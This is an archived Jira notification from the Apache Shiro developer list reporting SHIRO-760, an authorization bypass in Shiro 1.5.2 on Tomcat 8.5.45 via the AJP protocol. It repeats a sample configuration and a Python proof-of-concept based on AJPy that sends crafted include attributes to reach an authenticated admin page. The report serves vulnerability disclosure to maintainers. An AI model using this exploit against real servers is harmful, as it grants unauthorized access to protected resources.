You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@shiro.apache.org by "cl0und (Jira)" <ji...@apache.org> on 2020/04/23 16:06:00 UTC
[jira] [Updated] (SHIRO-760) Bypass shiroFilter ACL
[ https://issues.apache.org/jira/browse/SHIRO-760?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
cl0und updated SHIRO-760:
-------------------------
Description:
I found that shiroFilter's access control can be bypassed through tomcat ajp protocol。
{code:java}
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}
@Bean
DefaultWebSecurityManager securityManager(){
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin", "anon");
map.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}{code}
{code:java}
@RestController
public class LoginController {
@PostMapping("/doLogin")
public void doLogin(String username, String password) {
Subject subject = SecurityUtils.getSubject(); try {
subject.login(new UsernamePasswordToken(username, password));
System.out.println("登录成功!");
} catch (AuthenticationException e) {
e.printStackTrace();
System.out.println("登录失败!");
}
} @GetMapping("/admin/page")
public String admin() {
return "admin page";
} @GetMapping("/login")
public String login() {
return "please login!";
}
}
{code}
If we visit /;/admin/page through http protocol, we will get a 302.
!image-2020-04-23-23-50-02-610.png|width=569,height=141!
But if we use the ajp protocol to access, we can directly access the admin page。
!image-2020-04-23-23-51-31-381.png|width=562,height=275!
By the way, how to use this exp。git clone [https://github.com/hypn0s/AJPy.git] and Change the content of tomcat.py to the following.
{code:java}
import sys
from ajpy.ajp
import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat
import Tomcat
gc = Tomcat('127.0.0.1', 8009)
attributes = [
{
"name": "req_attribute"
, "value": ("javax.servlet.include.request_uri", "/;/admin/page", )
}
, {
"name": "req_attribute"
, "value": ("javax.servlet.include.path_info", "/", )
}
, {
"name": "req_attribute"
, "value": ("javax.servlet.include.servlet_path", "", )
}
, ]
hdrs, data = gc.perform_request("/", attributes = attributes)
output = sys.stdout
for d in data:
try:
output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
output.write(repr(d.data))
{code}
env:apache-tomcat-8.5.45 + shiro 1.5.2
was:
I found that shiroFilter's access control can be bypassed through tomcat ajp protocol。
{code:java}
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}
@Bean
DefaultWebSecurityManager securityManager(){
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin", "anon");
map.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}{code}
{code:java}
@RestController
public class LoginController {
@PostMapping("/doLogin")
public void doLogin(String username, String password) {
Subject subject = SecurityUtils.getSubject(); try {
subject.login(new UsernamePasswordToken(username, password));
System.out.println("登录成功!");
} catch (AuthenticationException e) {
e.printStackTrace();
System.out.println("登录失败!");
}
} @GetMapping("/admin/page")
public String admin() {
return "admin page";
} @GetMapping("/login")
public String login() {
return "please login!";
}
}
{code}
If we visit /;/admin/page through http protocol, we will get a 302.
!image-2020-04-23-23-50-02-610.png|width=569,height=141!
But if we use the ajp protocol to access, we can directly access the admin page。
!image-2020-04-23-23-51-31-381.png|width=562,height=275!
By the way, how to use this exp。git clone [https://github.com/hypn0s/AJPy.git] and Change the content of tomcat.py to the following.
{code:java}
import sys
from ajpy.ajp
import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat
import Tomcat
gc = Tomcat('127.0.0.1', 8009)
attributes = [
{
"name": "req_attribute"
, "value": ("javax.servlet.include.request_uri", "/;/admin/page", )
}
, {
"name": "req_attribute"
, "value": ("javax.servlet.include.path_info", "/", )
}
, {
"name": "req_attribute"
, "value": ("javax.servlet.include.servlet_path", "", )
}
, ]
hdrs, data = gc.perform_request("/", attributes = attributes)
output = sys.stdout
for d in data:
try:
output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
output.write(repr(d.data))
{code}
> Bypass shiroFilter ACL
> ----------------------
>
> Key: SHIRO-760
> URL: https://issues.apache.org/jira/browse/SHIRO-760
> Project: Shiro
> Issue Type: Bug
> Components: Authorization (access control)
> Reporter: cl0und
> Priority: Major
> Attachments: image-2020-04-23-23-50-02-610.png, image-2020-04-23-23-51-31-381.png
>
>
> I found that shiroFilter's access control can be bypassed through tomcat ajp protocol。
> {code:java}
> @Configuration
> public class ShiroConfig {
> @Bean
> MyRealm myRealm() {
> return new MyRealm();
> }
> @Bean
> DefaultWebSecurityManager securityManager(){
> DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
> manager.setRealm(myRealm());
> return manager;
> }
> @Bean
> ShiroFilterFactoryBean shiroFilterFactoryBean(){
> ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
> bean.setSecurityManager(securityManager());
> bean.setLoginUrl("/login");
> bean.setSuccessUrl("/index");
> bean.setUnauthorizedUrl("/unauthorizedurl");
> Map<String, String> map = new LinkedHashMap<>();
> map.put("/doLogin", "anon");
> map.put("/admin/*", "authc");
> bean.setFilterChainDefinitionMap(map);
> return bean;
> }
> }{code}
>
> {code:java}
> @RestController
> public class LoginController {
> @PostMapping("/doLogin")
> public void doLogin(String username, String password) {
> Subject subject = SecurityUtils.getSubject(); try {
> subject.login(new UsernamePasswordToken(username, password));
> System.out.println("登录成功!");
> } catch (AuthenticationException e) {
> e.printStackTrace();
> System.out.println("登录失败!");
> }
> } @GetMapping("/admin/page")
> public String admin() {
> return "admin page";
> } @GetMapping("/login")
> public String login() {
> return "please login!";
> }
> }
> {code}
>
> If we visit /;/admin/page through http protocol, we will get a 302.
> !image-2020-04-23-23-50-02-610.png|width=569,height=141!
> But if we use the ajp protocol to access, we can directly access the admin page。
> !image-2020-04-23-23-51-31-381.png|width=562,height=275!
> By the way, how to use this exp。git clone [https://github.com/hypn0s/AJPy.git] and Change the content of tomcat.py to the following.
>
> {code:java}
> import sys
> from ajpy.ajp
> import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
> from tomcat
> import Tomcat
> gc = Tomcat('127.0.0.1', 8009)
> attributes = [
> {
> "name": "req_attribute"
> , "value": ("javax.servlet.include.request_uri", "/;/admin/page", )
> }
> , {
> "name": "req_attribute"
> , "value": ("javax.servlet.include.path_info", "/", )
> }
> , {
> "name": "req_attribute"
> , "value": ("javax.servlet.include.servlet_path", "", )
> }
> , ]
> hdrs, data = gc.perform_request("/", attributes = attributes)
> output = sys.stdout
> for d in data:
> try:
> output.write(d.data.decode('utf8'))
> except UnicodeDecodeError:
> output.write(repr(d.data))
> {code}
> env:apache-tomcat-8.5.45 + shiro 1.5.2
--
This message was sent by Atlassian Jira
(v8.3.4#803005)